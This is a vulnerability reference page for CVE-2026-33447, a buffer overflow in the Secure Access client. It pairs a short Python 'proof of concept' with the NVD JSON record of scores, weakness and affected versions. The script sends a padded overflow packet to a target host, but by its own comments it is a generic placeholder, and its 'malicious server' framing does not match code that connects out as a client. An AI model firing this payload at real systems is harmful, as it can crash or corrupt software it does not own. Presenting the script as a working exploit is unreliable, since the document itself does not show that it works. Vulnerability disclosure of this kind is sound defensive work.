CVE-2026-33447

import socket # PoC for CVE-2026-33447 # This script simulates a malicious server sending a crafted packet # to trigger the buffer overflow in the Secure Access Client. def send_exploit(target_ip, target_port): try: # Create a socket connection to the target client s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Craft the malicious packet # The specific offset and payload size depend on the target version # This is a generic representation of the overflow trigger header = b"\x00\x01\x02\x03" # Example header bytes overflow_payload = b"A" * 500 # Padding to trigger the overflow special_packet = header + overflow_payload # Send the malicious packet s.send(special_packet) print(f"[+] Exploit packet sent to {target_ip}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with the actual target IP and Port TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 send_exploit(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-33447", "sourceIdentifier": "[email protected]", "published": "2026-04-30T20:16:23.957", "lastModified": "2026-05-05T02:26:55.637", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CVE-2026-33447 is a buffer overflow in a message parsing function of the\n Secure Access client prior to 14.50. Attackers with control of a \nmodified server can send a special packet that can overwrite a small \nportion of memory conceivably leading to memory corruption or denial of \nservice."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.50", "matchCriteriaId": "FBD1BC48-5034-499F-8C00-89FCD8EA2FC6"}]}]}], "references": [{"url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-33447", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}